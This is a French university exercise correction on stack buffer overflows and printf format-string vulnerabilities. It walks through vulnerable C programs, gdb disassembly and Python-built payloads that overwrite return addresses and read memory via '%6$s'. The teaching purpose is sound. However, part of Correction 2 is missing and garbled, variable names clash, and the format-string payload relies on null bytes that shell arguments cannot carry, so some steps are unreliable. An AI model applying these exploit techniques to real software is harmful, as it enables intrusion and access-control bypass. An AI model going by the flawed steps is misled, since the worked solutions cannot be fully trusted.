**Université de Perpignan**
C. Legrand

L3 Informatique
Année 2026

# Corrigé – TD5 Sécurité

Techniques d'intrusion – Débordement de tampon

## Avertissement éthique et légal

Les techniques présentées dans ce TD sont étudiées dans un **cadre strictement académique** afin de comprendre les mécanismes utilisés par les attaquants et ainsi pouvoir mieux s'en protéger.
**Toute utilisation de ces techniques en dehors du cadre pédagogique est illégale** et passible de sanctions pénales (chapitre III du Code pénal, articles 323-1 à 323-8 – *Des atteintes aux systèmes de traitement automatisé de données*) :

- Accès ou maintien frauduleux dans un STAD (art. 323-1) : **3 ans** d'emprisonnement et **100 000 €** d'amende
- Entrave au fonctionnement d'un STAD (art. 323-2) : **5 ans** d'emprisonnement et **150 000 €** d'amende
- Introduction frauduleuse de données dans un STAD (art. 323-3) : **5 ans** d'emprisonnement et **150 000 €** d'amende

Peines portées à **7 ans** et **300 000 €** lorsque le système visé traite des données à caractère personnel mis en œuvre par l'État, et jusqu'à **10 ans** et **300 000 €** en bande organisée (art. 323-4-1). *Peines mises à jour par la loi LOPMI n° 2023-22 du 24 janvier 2023.*

## Options de compilation

Les options suivantes sont à utiliser lorsque l'on veut déborder sur la pile (`-fno-stack-protector`) et connaître les adresses du code (`-no-pie`) qui ne sont plus randomisées :

```
gcc -fno-stack-protector -no-pie -g code.c
```

Une dernière option que l'on n'utilisera pas : si l'on souhaite exécuter du code injecté dans la pile (`-z execstack`).

## Rappel de cours

**Organisation de la pile (stack) :** lors de l'appel d'une fonction, le processeur empile :

1. Les paramètres de la fonction (en partie via registres en x86-64)
2. L'adresse de retour `savedRIP` (empilée par `call`)
3. L'ancien `RBP` (`savedRBP`) sauvegardé par `push rbp`
4. Les variables locales de la fonction

Le registre `RSP` pointe sur le sommet de la pile ; `RBP` pointe sur la base du cadre de pile courant.

**Exercice 1** (Débordement de tampon). 1. On considère le programme suivant :

```c
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]){
  int valeur=5;
  char tampon_un[8], tampon_deux[8];

  strcpy(tampon_un,"un");
  strcpy(tampon_deux,"deux");

  printf("[AVANT] tampon_deux est a %p et contient '%s'\n",
         tampon_deux, tampon_deux);
  printf("[AVANT] tampon_un est a %p et contient '%s'\n",
         tampon_un, tampon_un);
  printf("[AVANT] valeur est a %p et vaut %d (0x%08x)\n",
         &valeur, valeur, valeur);

  printf("\n [STRCPY] copie de %d octets dans tampon_deux\n\n",
         (int)strlen(argv[1]));
  strcpy(tampon_deux, argv[1]);

  printf("[APRES] tampon_deux est a %p et contient '%s'\n",
         tampon_deux, tampon_deux);
  printf("[APRES] tampon_un est a %p et contient '%s'\n",
         tampon_un, tampon_un);
  printf("[APRES] valeur est a %p et vaut %d (0x%08x)\n",
         &valeur, valeur, valeur);

  return(0);
}
```

En faisant varier l'argument, provoquer un débordement de tampon, analysez-le avec `gdb`.

**Correction 1.** ***Compilation et tests :***

*On compile sans les protections de pile :*

```
$ gcc -fno-stack-protector -no-pie -g exo1q1.c -o exo1q1
```

***Test normal (pas de débordement) :***

```
$ ./exo1q1 AAAA
[AVANT] tampon_deux est a 0x7fffffffde00 et contient 'deux'
[AVANT] tampon_un est a 0x7fffffffde08 et contient 'un'
[AVANT] valeur est a 0x7fffffffde14 et vaut 5 (0x00000005)

 [STRCPY] copie de 4 octets dans tampon_deux

[APRES] tampon_deux est a 0x7fffffffde00 et contient 'AAAA'
[APRES] tampon_un est a 0x7fffffffde08 et contient 'un'
[APRES] valeur est a 0x7fffffffde14 et vaut 5 (0x00000005)
```

*On observe que* `tampon_deux` *est à l'adresse* `0x7fffffffde00` *et* `tampon_un` *est à* `0x7fffffffde08`*, soit 8 octets plus haut. La variable* `valeur` *est à* `0x7fffffffde14`*, soit 12 octets après* `tampon_un`*.*

***Débordement dans tampon_un (9 à 16 caractères) :***

```
$ ./exo1q1 AAAAAAAABBBBBBBB
[AVANT] tampon_deux est a 0x7fffffffde00 et contient 'deux'
[AVANT] tampon_un est a 0x7fffffffde08 et contient 'un'
[AVANT] valeur est a 0x7fffffffde14 et vaut 5 (0x00000005)

 [STRCPY] copie de 16 octets dans tampon_deux

[APRES] tampon_deux est a 0x7fffffffde00 et contient '
    AAAAAAAABBBBBBBB'
[APRES] tampon_un est a 0x7fffffffde08 et contient 'BBBBBBBB'
[APRES] valeur est a 0x7fffffffde14 et vaut 5 (0x00000005)
```

*Les 8 premiers octets (*`AAAAAAAA`*) remplissent* `tampon_deux`*. Les 8 suivants (*`BBBBBBBB`*) débordent dans* `tampon_un` *et l'écrasent.*

***Débordement jusqu'à valeur (plus de 20 caractères) :***

```
$ ./exo1q1 AAAAAAAABBBBBBBBCCCCCCCC
[AVANT] tampon_deux est a 0x7fffffffde00 et contient 'deux'
[AVANT] tampon_un est a 0x7fffffffde08 et contient 'un'
[AVANT] valeur est a 0x7fffffffde14 et vaut 5 (0x00000005)

 [STRCPY] copie de 24 octets dans tampon_deux

[APRES] tampon_deux est a 0x7fffffffde00 et contient '
    AAAAAAAABBBBBBBBCCCCCCCC'
[APRES] tampon_un est a 0x7fffffffde08 et contient '
    BBBBBBBBCCCCCCCC'
[APRES] valeur est a 0x7fffffffde14 et vaut 1128481603 (0
    x43434343)
```

*La variable* `valeur` *a été écrasée par* `0x43434343` *(code ASCII de* `'C'` *=* `0x43`*). Le débordement de* `tampon_deux` *a traversé* `tampon_un` *puis atteint* `valeur`*.*

***Analyse avec gdb :***

```
$ gdb ./exo1q1
(gdb) break main
(gdb) run AAAAAAAABBBBBBBBCCCCCCCC
```

```
(gdb) next
... (avancer jusqu'après le strcpy)
(gdb) x/8xw $rbp-0x20
0x7fffffffde00: 0x41414141  0x41414141  0x42424242  0x42424242
0x7fffffffde10: 0x43434343  0x43434343  0x00000000  0x00000000
```

*On voit clairement la disposition mémoire : les* `A` *dans* `tampon_deux`*, les* `B` *dans* `tampon_un`*, et les* `C` *qui débordent sur* `valeur` *et au-delà.*

**Point clé à retenir**

*La pile croît vers les adresses basses, mais les tableaux sont remplis vers les adresses hautes. Ainsi, un débordement de* `tampon_deux` *écrase d'abord* `tampon_un` *(adresse supérieure), puis* `valeur`*, puis* `savedRBP` *et* `savedRIP`*.*

2. On considère maintenant le bout de programme ci-dessous qui restreint les droits d'accès :

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int verif_authentication(char *password){
  int auth_flag = 0;
  char password_tampon[16];

  strcpy(password_tampon, password);

  if( strcmp(password_tampon, "brillig") == 0)
    auth_flag = 1;
  if(strcmp(password_tampon, "outgrabe") == 0)
    auth_flag = 1;

  return auth_flag;
}

int main( int argc, char *argv[]){
  if(argc < 2){
    printf("Usage: %s <password>\n", argv[0]);
    exit(0);
  }

  if(verif_authentication(argv[1])){
    printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
    printf("      Acces accorde.\n");
    printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
  }
  else
    printf("     Acces refuse\n");
}
```

Est-il possible de faire un débordement de tampon pour forcer l'accès (`auth_flag` $\neq 0$) ? Que se passe-t-il si les variables sont déclarées dans l'ordre suivant :

```c
  char password_buffer[16];
  int auth_flag = 0;
```

Peut-on contourner ce problème pour faire afficher quand même `Acces accorde` par débordement de tampon ? Expliquez en détail pourquoi ça fonctionne.

**Correction 2.** ***Cas 1 : `auth_flag` déclaré AVANT `password_tampon` (code original)***

*Dans le code original, `auth_flag` est déclaré avant `password_tampon`. Sur la pile, la disposition typique est (des adresses basses vers les hautes) :*

| *Adresse* | *Contenu* |
|---|---|
| rbp-0x20 | password_tampon[0..7] |
| rbp-0x18 | password_tampon[8..15] |
| rbp-0x04 | auth_flag |
| rbp+0x00 | savedRBP |
| rbp+0x08 | savedRIP |

*Lorsqu'on dépasse 16 caractères dans le `strcpy`, le débordement de `password_tampon` atteint la zone de padding puis `auth_flag`. Les octets excédentaires (forcément non nuls car ce sont des caractères imprimables) écrasent `auth_flag` avec une valeur non nulle.*

```
$ gcc -fno-stack-protector -no-pie -g exo1q2.c -o exo1q2
$ ./exo1q2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-=-=-=
```

*Le débordement de* `password_buffer` *va vers les adresses* **croissantes**, *donc il écrase* `savedRBP` *puis* `savedRIP`, *mais ne peut* **pas** *atteindre* `auth_flag` *qui se trouve à une adresse plus basse.*

```
$ ./exo1q2v2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
      Acces refuse
Segmentation fault (core dumped)
```

*On obtient Acces refuse (car* `auth_flag` *n'a pas été modifié), suivi d'un segfault car* `savedRIP` *a été écrasé.*

### *Contournement : écraser savedRIP pour rediriger l'exécution*

*Même si on ne peut plus modifier* `auth_flag`, *on peut écraser* `savedRIP` *pour rediriger l'exécution directement vers le bloc de code qui affiche Acces accorde dans* `main`.

*On utilise* `gdb` *pour trouver l'adresse cible :*

```
(gdb) disassemble main
   ...
   0x0000000000401209 <+52>:   call    0x4011b6 <
   verif_authentication>
   0x000000000040120e <+57>:   test    eax,eax
   0x0000000000401210 <+59>:   je      0x40123a <main+101>
   0x0000000000401212 <+61>:   lea     rdi,[rip+0xdf7]   # chaine
   "-=-=-..."
   0x0000000000401219 <+68>:   call    0x401040 <puts@plt>
   0x000000000040121e <+73>:   lea     rdi,[rip+0xe07]   # "Acces
   accorde."
   0x0000000000401225 <+80>:   call    0x401040 <puts@plt>
   ...
```

*On veut sauter au* `lea` *qui prépare l'affichage de la première ligne de succès, par exemple à l'adresse* `0x401212`. *Il faut calculer le nombre d'octets de padding nécessaires pour atteindre* `savedRIP` *depuis* `password_buffer` *:*

- `password_buffer` *commence à* `rbp-0x20`
- `savedRIP` *est à* `rbp+0x08`
- *Distance :* `0x20 + 0x08 = 0x28 = 40` *octets*
- *Dont 16 octets pour le tampon lui-même, 8 pour le padding/autres variables, 8 pour* `savedRBP`, *puis 8 pour* `savedRIP`

*On construit alors le payload :*

```
$ ./exo1q2v2 $(python3 -c "import sys; sys.stdout.buffer.write(b'
   A'*40 + b'\x12\x12\x40\x00\x00\x00\x00\x00')")

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Acces accorde.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Segmentation fault (core dumped)
```

*Le segfault à la fin est normal : après l'affichage, la pile est corrompue et le retour de* `main` *échoue. Mais le message Acces accorde a bien été affiché.*

**Attention**

*L'adresse exacte de l'instruction cible dépend de la compilation. Il faut* ***toujours*** *vérifier avec* `gdb` *le désassemblage de* `main` *pour obtenir l'adresse correcte. L'option* `-no-pie` *est indispensable pour que les adresses soient fixes d'une exécution à l'autre.*

**Point clé à retenir**

*Même lorsque le débordement ne peut pas atteindre directement la variable cible, l'écrasement de* `savedRIP` *permet de détourner le flot d'exécution. C'est le principe fondamental de l'attaque par return address overwrite.*

**Exercice 2** (Modification d'adresse de retour dans la pile)**.** Reprenez le code vu en cours (donné ci-dessous) et ajustez les valeurs de $a$ et de $b$ afin d'exécuter en retour de fonction :

- Directement la fin de la fonction `main` (donc pas de `printf("coucou1")` et `printf("coucou2")`).
- Que se passera-t-il si on revient à l'instruction `b=15` ?

```c
#include <stdio.h>

void function(long a, long b)
{
  long buffer[2]={0,1};
  buffer[a]+=b;
}
void main()
{
  long a,b;
  a=1;
  b=15;
  function(a,b);
  printf("coucou1\n");
  printf("coucou2\n");
}
```

**Correction 3.** ***Analyse du cadre de pile de*** `function` ***:***

*On compile et on analyse avec* `gdb` *:*

```
$ gcc -fno-stack-protector -no-pie -g exo2.c -o exo2
$ gdb ./exo2
(gdb) disassemble function
Dump of assembler code for function function:
   0x0000000000401136 <+0>:    push   rbp
   0x0000000000401137 <+1>:    mov    rbp,rsp
   0x000000000040113a <+4>:    sub    rsp,0x20
   0x000000000040113e <+8>:    mov    QWORD PTR [rbp-0x24],rdi   ; a
   0x0000000000401142 <+12>:   mov    QWORD PTR [rbp-0x28],rsi   ; b (
   ou via registre)
   0x0000000000401146 <+16>:   mov    QWORD PTR [rbp-0x10],0x0   ;
   buffer[0]=0
   0x000000000040114e <+24>:   mov    QWORD PTR [rbp-0x8],0x1    ;
   buffer[1]=1
   ...
```

*La disposition de la pile dans* `function` *est :*

| ***Position*** | ***Contenu*** | ***Indice buffer*** |
|---|---|---|
| `rbp-0x10` | `buffer[0]` | *indice 0* |
| `rbp-0x08` | `buffer[1]` | *indice 1* |
| `rbp+0x00` | `savedRBP` | *indice 2* |
| `rbp+0x08` | `savedRIP` | *indice 3* |

*Chaque* `long` *fait 8 octets. La distance entre* `buffer[0]` *(*`rbp-0x10`*) et* `savedRIP` *(*`rbp+0x08`*) est de* `0x18 = 24` *octets, soit 3* `long`*. Donc pour accéder à* `savedRIP` *via* `buffer`*, il faut l'indice* $\boldsymbol{a = 3}$.

***Analyse du code de*** `main` ***:***

```
(gdb) disassemble main
Dump of assembler code for function main:
   0x0000000000401162 <+0>:    push   rbp
   0x0000000000401163 <+1>:    mov    rbp,rsp
   0x0000000000401166 <+4>:    sub    rsp,0x10
   0x000000000040116a <+8>:    mov    QWORD PTR [rbp-0x10],0x1   ; a=1
   0x0000000000401172 <+16>:   mov    QWORD PTR [rbp-0x8],0xf    ; b=15
   0x000000000040117a <+24>:   mov    rdx,QWORD PTR [rbp-0x8]
   0x000000000040117e <+28>:   mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000401182 <+32>:   mov    rsi,rdx
   0x0000000000401185 <+35>:   mov    rdi,rax
   0x0000000000401188 <+38>:   call   0x401136 <function>
   0x000000000040118d <+43>:   lea    rdi,[rip+0xe70]             ; "
   coucou1"
   0x0000000000401194 <+50>:   call   0x401030 <puts@plt>
   0x0000000000401199 <+55>:   lea    rdi,[rip+0xe68]             ; "
   coucou2"
   0x00000000004011a0 <+62>:   call   0x401030 <puts@plt>
   0x00000000004011a5 <+67>:   nop
   0x00000000004011a6 <+68>:   leave
   0x00000000004011a7 <+69>:   ret
```

*L'instruction* `call function` *est à l'adresse* `0x401188`*. Donc* `savedRIP` *contient* `0x40118d` *(l'adresse de l'instruction suivante,* `printf("coucou1")`*).*

***Pour sauter directement à la fin de main (pas de coucou1 ni coucou2) :***

*On veut que* `savedRIP` *pointe vers le* `nop` *ou le* `leave` *à la fin de* `main`*, c'est-à-dire l'adresse* `0x4011a5`*.*

*L'incrément nécessaire est :*

$$b = 0x4011a5 - 0x40118d = 0x18 = 24$$

*Donc :* $\boldsymbol{a = 3}$, $\boldsymbol{b = 24}$.

```
1 #include <stdio.h>
2
3 void function(long a, long b)
4 {
5   long buffer[2]={0,1};
6   buffer[a]+=b;
7 }
8 void main()
9 {
```

```
  long a,b;
  a=3;
  b=24;
  function(a,b);
  printf("coucou1\n");
  printf("coucou2\n");
}
```

```
$ ./exo2
$
```

*Aucun* `printf` *n'est exécuté : le programme saute directement à la fin de* `main`*.*

**Point clé à retenir**

*L'instruction* `buffer[a] += b` *avec* `a=3` *modifie directement* `savedRIP` *car* `buffer[3]` *correspond exactement à l'emplacement de l'adresse de retour. L'incrément* `b` *fait avancer cette adresse pour sauter par-dessus les instructions* `printf`*.*

***Que se passe-t-il si on revient à l'instruction*** `b=15` ***?***

*L'instruction* `b=15` *(i.e.* `mov QWORD PTR [rbp-0x8],0xf`*) est à l'adresse* `0x401172`*. Depuis* `savedRIP = 0x40118d` *:*

$$b = 0x401172 - 0x40118d = -0x1b = -27$$

*Donc avec* **a = 3, b = -27**, *le retour de* `function` *atterrit sur l'instruction* `b=15` *dans* `main`*.*

*Cela crée une* ***boucle infinie*** *: le programme exécute* `b=15`*, puis* `function(a,b)`*, qui à chaque fois modifie* `savedRIP` *pour revenir à* `b=15`*, et ainsi de suite. Les* `printf("coucou1")` *et* `printf("coucou2")` *ne sont jamais atteints. La pile grossit à chaque appel récursif implicite, jusqu'à un stack overflow et un crash (segmentation fault).*

**Attention**

*La valeur exacte de* `b` *dépend de l'adresse des instructions dans le binaire compilé. Il est indispensable de vérifier avec* `gdb disassemble main` *pour obtenir les offsets corrects.*

**Exercice 3** (Écrasement d'adresse de retour par débordement)**.** On considère le code suivant :

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void f(char *s)
{
  char nom[10];
  strcpy(nom,s);
  printf("\n");
  printf("%lx\n",*((unsigned long *)(nom+18)));
  printf("Bonjour %s, on est dans f\n",nom);
}

void secret()
{
  printf("on est dans secret\n");
```

```
}

int main(int argc, char **argv)
{
  printf("adresse de f=%p, et de secret=%p\n",f,secret);
  f(argv[1]);
}
```

En écrasant l'adresse de retour de l'appel à la fonction `f`, faire en sorte d'exécuter la fonction `secret`.

**Correction 4.** ***Analyse de la pile de f :***

*On compile et on analyse :*

```
$ gcc -fno-stack-protector -no-pie -g exo3.c -o exo3
$ gdb ./exo3
(gdb) disassemble f
Dump of assembler code for function f:
   0x0000000000401196 <+0>:    push   rbp
   0x0000000000401197 <+1>:    mov    rbp,rsp
   0x000000000040119a <+4>:    sub    rsp,0x20
   0x000000000040119e <+8>:    mov    QWORD PTR [rbp-0x18],rdi
   0x00000000004011a2 <+12>:   lea    rdx,[rbp-0xa]        ; nom est a
   rbp-0xa
   ...
(gdb) disassemble secret
Dump of assembler code for function secret:
   0x00000000004011fd <+0>:    push   rbp
   ...
```

*On identifie :*

- `nom` *commence à* `rbp-0xa` *(soit* `rbp-10`*)*
- `savedRBP` *est à* `rbp+0x00` *(8 octets)*
- `savedRIP` *est à* `rbp+0x08`
- *Distance de* `nom` *à* `savedRIP` *:* $10 + 8 = 18$ *octets*
- *L'adresse de* `secret` *est* `0x4011fd`

*C'est pour cela que le programme affiche* `*((unsigned long *)(nom+18))` *: cela correspond exactement à* `savedRIP` *!*

***Construction du payload :***

*Il faut écrire :*

1. *18 octets de remplissage (pour couvrir* `nom` *+* `savedRBP`*)*
2. *Puis l'adresse de* `secret` *en little-endian :* `\xfd\x11\x40\x00\x00\x00\x00\x00`

```
$ ./exo3 $(python3 -c "import sys; sys.stdout.buffer.write(b'a'*18 +
   b'\xfd\x11\x40\x00\x00\x00\x00\x00')")
adresse de f=0x401196, et de secret=0x4011fd

4011fd
Bonjour aaaaaaaaaaaaaaaaaa??, on est dans f
on est dans secret
Segmentation fault (core dumped)
```

***Explication du résultat :***

- *La première ligne affiche les adresses de `f` et `secret` (grâce à `-no-pie`, elles sont fixes).*
- *La ligne `4011fd` confirme que `savedRIP` a bien été écrasé avec l'adresse de `secret`.*
- *Le message `Bonjour aaa...` affiche le contenu de `nom` qui déborde (les caractères `??` correspondent aux octets non imprimables de l'adresse).*
- *`on est dans secret` : la fonction `secret()` est bien exécutée au retour de `f` !*
- *Le segfault final est attendu : quand `secret()` termine, elle essaie de retourner à une adresse invalide car la pile est corrompue.*

***Point clé à retenir***

*Le principe de cette attaque est simple : on calcule la distance entre le début du tampon vulnérable et l'adresse de retour (`savedRIP`), on remplit cette zone avec du padding, puis on écrit l'adresse de la fonction cible en **little-endian**. L'option `-no-pie` est indispensable pour connaître les adresses à l'avance.*

***Attention***

*Sur une architecture x86-64, les adresses sont codées sur 8 octets en **little-endian**. L'adresse `0x00000000004011fd` s'écrit donc `\xfd\x11\x40\x00\x00\x00\x00\x00` en mémoire.*
*Attention aussi : `python3 -c "print(...)"` ajoute un retour à la ligne et peut mal gérer les octets nuls. Il est plus sûr d'utiliser `sys.stdout.buffer.write()` pour écrire des octets bruts.*

**Exercice 4** (Exploitation de la chaîne de format `printf`)**.** On considère le code suivant compilé avec les options `-fno-stack-protector -no-pie` :

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
  unsigned long d;
  char texte[512];

  static int test_var = 100*256*256+100*256+100;
  if(argc < 3) {
    printf("Usage: %s <text to print> <entier>\n", argv[0]);
    exit(0);
  }
  d=atoi(argv[2]);

  strcpy(texte, argv[1]);
  printf("La bonne facon d'afficher des entrees utilisateurs:\n");
  printf("%s", texte);
  printf("\nLa mauvaise facon d'afficher des entrees utilisateurs:\n"
    );
  printf(texte);
  printf("\n");
```

```
22    // Debug output
23    printf("[*] test_var @ %p = %lu, %04x\n", &test_var, &test_var,
       test_var);
24    printf("[*] adresse de d=%p, valeur de d=0x%016lx\n", &d, d);
25    printf("[*] adresse de texte=%p\n", texte);
26    exit(0);
27  }
```

1. Comprendre et tester le programme, puis appliquer ce que l'on a vu en cours pour afficher le contenu de la pile de `main` en choisissant bien l'argument du programme dans la ligne de commande.

2. Si l'argument du programme contient le format `"%s"`, que va-t-il se passer ? Peut-on choisir l'adresse qui concerne `"%s"` et l'appliquer pour lire la valeur de `test_var` ?

**Correction 5.** ***Question 1 : Afficher le contenu de la pile***

***Compréhension du programme :***
*Le programme contient deux appels à `printf` avec l'entrée utilisateur :*

- *`printf("%s", texte)` : affichage **sûr**. La chaîne de format est fixe (`"%s"`), l'entrée utilisateur est un argument.*

- *`printf(texte)` : affichage **dangereux**. L'entrée utilisateur EST la chaîne de format. Si elle contient des spécificateurs comme `%x`, `%lx`, `%s`, `printf` ira lire des arguments supplémentaires qui n'existent pas, piochant dans les registres puis sur la pile.*

***Test de base :***

```
$ gcc -fno-stack-protector -no-pie -g exo4.c -o exo4
$ ./exo4 "Bonjour" 42
La bonne facon d'afficher des entrees utilisateurs:
Bonjour
La mauvaise facon d'afficher des entrees utilisateurs:
Bonjour
[*] test_var @ 0x404048 = 4210724, 00404064
[*] adresse de d=0x7fffffffdb98, valeur de d=0x000000000000002a
[*] adresse de texte=0x7fffffffdb90
```

*Pas de différence visible, car l'entrée ne contient pas de spécificateur de format.*
***Lecture de la pile avec `%08x` :***
*On injecte des spécificateurs `%08x` (affichage hexadécimal sur 8 chiffres) :*

```
$ ./exo4 "%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x" 42
La bonne facon d'afficher des entrees utilisateurs:
%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
La mauvaise facon d'afficher des entrees utilisateurs:
ffffe3a8.00000003.00000000.00000000.00404048.78383025.3830252e.30252
    e78
```

***Analyse :***

- *L'affichage bon montre la chaîne telle quelle (les `%08x` sont traités comme du texte).*

- *L'affichage mauvais interprète chaque `%08x` comme un format : `printf` lit les valeurs des registres (en x86-64, les arguments suivants sont passés via `rsi`, `rdx`, `rcx`, `r8`, `r9`), puis il lit des valeurs sur la pile.*

- *Les valeurs `78383025`, `3830252e`, etc. sont les codes ASCII de la chaîne de format elle-même (`%08x.%08x...`), car `texte` est une variable locale qui se trouve sur la pile.*

*On peut aussi utiliser `%lx` pour afficher des mots de 8 octets (64 bits) :*

```
$ ./exo4 "%016lx|%016lx|%016lx|%016lx|%016lx|%016lx|%016lx" 42
```

*Cela permet de visualiser la pile mot par mot et de repérer les adresses, les valeurs des variables locales, les adresses de retour, etc.*

**Point clé à retenir**

*L'appel `printf(texte)` où `texte` est contrôlé par l'utilisateur est une vulnérabilité de type format string. L'attaquant peut utiliser des spécificateurs de format pour :*

- *`%x`, `%lx` : lire des valeurs sur la pile (fuite de mémoire)*
- *`%s` : lire une chaîne à une adresse arbitraire*
- *`%n` : **écrire** en mémoire (nombre de caractères écrits)*

***Question 2 : Utilisation de `%s` pour lire `test_var`***

***Que fait `%s` ?***

*Le spécificateur `%s` attend un argument de type `char*` (un pointeur vers une chaîne). `printf` va lire la valeur suivante disponible (registre ou pile) et l'interpréter comme une **adresse mémoire**, puis afficher la chaîne de caractères à cette adresse jusqu'au premier octet nul (`\0`).*

*Si la valeur lue ne correspond pas à une adresse valide, le programme fait un segfault.*

***Test simple :***

```
$ ./exo4 "%s" 42
La mauvaise facon d'afficher des entrees utilisateurs:
Segmentation fault (core dumped)
```

*Le premier argument que `printf` récupère pour `%s` n'est pas une adresse valide, d'où le crash.*

***Stratégie pour lire `test_var` :***

*On connaît l'adresse de `test_var` grâce à la sortie de debug (par exemple `0x404048`). L'idée est de :*

1. *Placer l'adresse de `test_var` dans notre chaîne d'entrée `texte` (qui est sur la pile)*
2. *Utiliser suffisamment de `%x` ou `%lx` pour consommer les arguments jusqu'à atteindre l'endroit sur la pile où se trouve notre adresse*
3. *Terminer par un `%s` qui lira la chaîne à l'adresse que nous avons placée*

*Concrètement, il faut d'abord déterminer à quel numéro d'argument correspond le début de `texte` sur la pile. On peut le faire en plaçant un marqueur reconnaissable (comme `AAAA` = `0x41414141`) et en comptant les `%x` nécessaires pour le voir apparaître :*

```
$ ./exo4 "AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x" 42
La mauvaise facon d'afficher des entrees utilisateurs:
AAAAffffe3a8.00000003.00000000.00000000.00404048.41414141.78383025
    ...
```

*On voit `41414141` apparaître en 6 position : cela signifie que le 6 argument de `printf` correspond au début de `texte` sur la pile.*

*On peut utiliser la notation directe `%6$s` (accès direct au 6 argument avec le format `%s`) pour lire la chaîne à l'adresse que l'on place au début de `texte`.*

***Construction du payload :***

*On place l'adresse de `test_var` (`0x404048`) en début de chaîne, suivie de `%6$s` :*

```
$ ./exo4 $(python3 -c "
import sys
addr = b'\x48\x40\x40\x00\x00\x00\x00\x00'  # 0x404048 en little-
    endian
payload = addr + b'%6\$s'
sys.stdout.buffer.write(payload)
") 42
```

*Le `%6$s` dit à `printf` : prends le 6 argument (qui est le début de `texte`, donc les 8 premiers octets = notre adresse) et interprète-le comme un pointeur vers une chaîne. `printf` va alors lire les octets à l'adresse `0x404048` (celle de `test_var`) et les afficher comme une chaîne de caractères.*

**Attention**

*La valeur de `test_var` est $100 \times 256^2 + 100 \times 256 + 100 =$ `0x00646464`. En mémoire (little-endian), cela donne les octets `64 64 64 00`. Interprétés comme une chaîne, cela affiche `ddd` (code ASCII `0x64` = `'d'`) suivi d'un octet nul (fin de chaîne). On lira donc la chaîne `"ddd"`.*

***Variante avec `%n$x` :*** *on peut aussi utiliser `%6$x` ou `%6$lx` pour afficher directement la valeur à la position 6 en hexadécimal (sans l'interpréter comme un pointeur). Cela afficherait l'adresse elle-même (`0x404048`) et non le contenu pointé.*

**Point clé à retenir**

*Les vulnérabilités de chaîne de format sont particulièrement dangereuses car elles permettent à la fois la **lecture** (`%x`, `%s`) et l'**écriture** (`%n`) arbitraires en mémoire. La correction est simple : **toujours** passer l'entrée utilisateur comme argument et non comme format : `printf("%s", input)` au lieu de `printf(input)`.*